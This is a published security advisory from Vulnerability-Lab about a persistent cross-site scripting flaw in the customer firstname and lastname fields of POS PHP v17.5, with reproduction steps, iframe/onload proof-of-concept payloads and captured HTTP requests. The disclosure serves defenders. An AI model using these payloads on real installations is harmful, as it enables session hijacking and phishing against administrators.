POS PHP v17.5 - (Customer) Persistent Web Vulnerability

Document Title:
===============
POS PHP v17.5 - (Customer) Persistent Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2228


Release Date:
=============
2020-04-27


Vulnerability Laboratory ID (VL-ID):
====================================
2228


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Turn your Retail Small Business into a Customer Focused, Profit Generating Machine. Guaranteed to save you time, 
increase the accuracy of your inventory, and help you make informed decisions for your business. Types of businesses 
that work great with PHP Point of Sale.

(Copy of the Homepage: https://phppointofsale.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the POS PHP v17.5 web-application.


Vulnerability Disclosure Timeline:
==================================
2020-04-28: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official POS PHP v17.5 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to 
compromise browser to web-application requests from the application-side.

The persistent web vulnerability is located in the firstname and lastname parameter of the customer profile module.
Remote attackers are able to change or add malicious script code as firstname and lastname to customer profiles. 
Thus allows to execute the script code with persistent attack vector against administrators in the backend in the 
/customers/ or customers/save/ modules. The request method to inject is POST via add or edit of the customer and 
the attack vector is located on the application-side.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent 
external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Customer (index.php/customers/save)

Vulnerable Input(s):
[+] Firstname
[+] Lastname


Vulnerable Parameter(s):
[+] firstname
[+] lastname

Affected Module(s):
[+] index.php/customers/


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privilege user account with low user interaction.
For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce ...
1. Register a customer account
2. Move to the profile section
3. Inject test payload into the vulnerable firstname and lastname input field
4. Save the entry and wait
Note: The execute occurs in the backend on preview of barcode, customer details and more
5. Wait until the admin or other high privileged user roles are interacting for execute
6. Successful reproduce of the persistent web vulnerability!


PoC: Exploitation
<iframe src="evil.source" onload="alert(document.domain)">
<iframe src="evil.source" onload="alert(document.cookie)">


PoC: Vulnerable Source
Reports - PHP Point Of Sale, Inc "<iframe src="evil.source" onload="alert(document.cookie)"> >"<iframe src=evil.source onload=alert(document.cookie)> 
Report<small class="reports-range">04/25/2019-04/25/2020</small>
<button class="btn btn-primary text-white hidden-print print_button pull-right"> Print </button>	
<button class="btn btn-primary text-white hidden-print save_report_button pull-right" data-message="Enter report name"> Add to Favorites</button>


--- PoC Session Logs [POST] ---
https://pos-php.localhost:8000/index.php/customers/check_duplicate
Host: pos-php.localhost:8000
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 156
Origin: https://pos-php.localhost:8000
Connection: keep-alive
Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u
name=>"<iframe src=evil.source onload=alert(document.cookie)> >"<iframe src=evil.source onload=alert(document.cookie)>&[email protected]&phone_number=1337
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
content-length: 19
server: Apache
cache-control: no-store, no-cache, must-revalidate
set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly
-
https://pos-php.localhost:8000/index.php/customers/save/
Host: pos-php.localhost:8000
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------229089197438477571343458328424
Content-Length: 5237
Origin: https://pos-php.localhost:8000
Connection: keep-alive
Referer: https://pos-php.localhost:8000/index.php/customers/view/-1/
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u
first_name=>"<iframe src=evil.source onload=alert(document.cookie)>&last_name=>"<iframe src=evil.source onload=alert(document.cookie)>&[email protected]&phone_number=&image_id=&address_1=&address_2=&city=&state=&zip=&country=&comments=&
internal_notes=&balance=0.00&credit_limit=1000.00&amount_to_spend_for_next_point=10.00&points=0.00&company_name=&
account_number=&tax_class=&tax_names[]=Sales Tax,Sales Tax 2,,,&tax_percents[]=,,,,&tax_cumulatives[]=0,0,0,0&taxable=1&
tax_certificate=&location_id=&files[]=,,,,&redirect_code=0
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
content-length: 155
server: Apache
cache-control: no-store, no-cache, must-revalidate
set-cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u; path=/; HttpOnly
vary: Accept-Encoding
content-encoding: gzip
-
https://pos-php.localhost:8000/evil.source
Host: pos-php.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer: https://pos-php.localhost:8000/index.php/reports/generate/specific_customer?report_type=complex&
report_date_range_simple=CUSTOM&start_date=2019-04-25&start_date_formatted=04/25/2019%2012:00%20am&end_date=2020-04-
25%2023:59:59&end_date_formatted=04/25/2020%2012:00%20am&customer_id=42&sale_type=all&export_excel=0
Cookie: phppos=c8cophf1djsrvoidg1hm8kmfo770ts3u
-
GET: HTTP/2.0 200 OK
content-type: text/html; charset=iso-8859-1
content-length: 199
server: Apache




Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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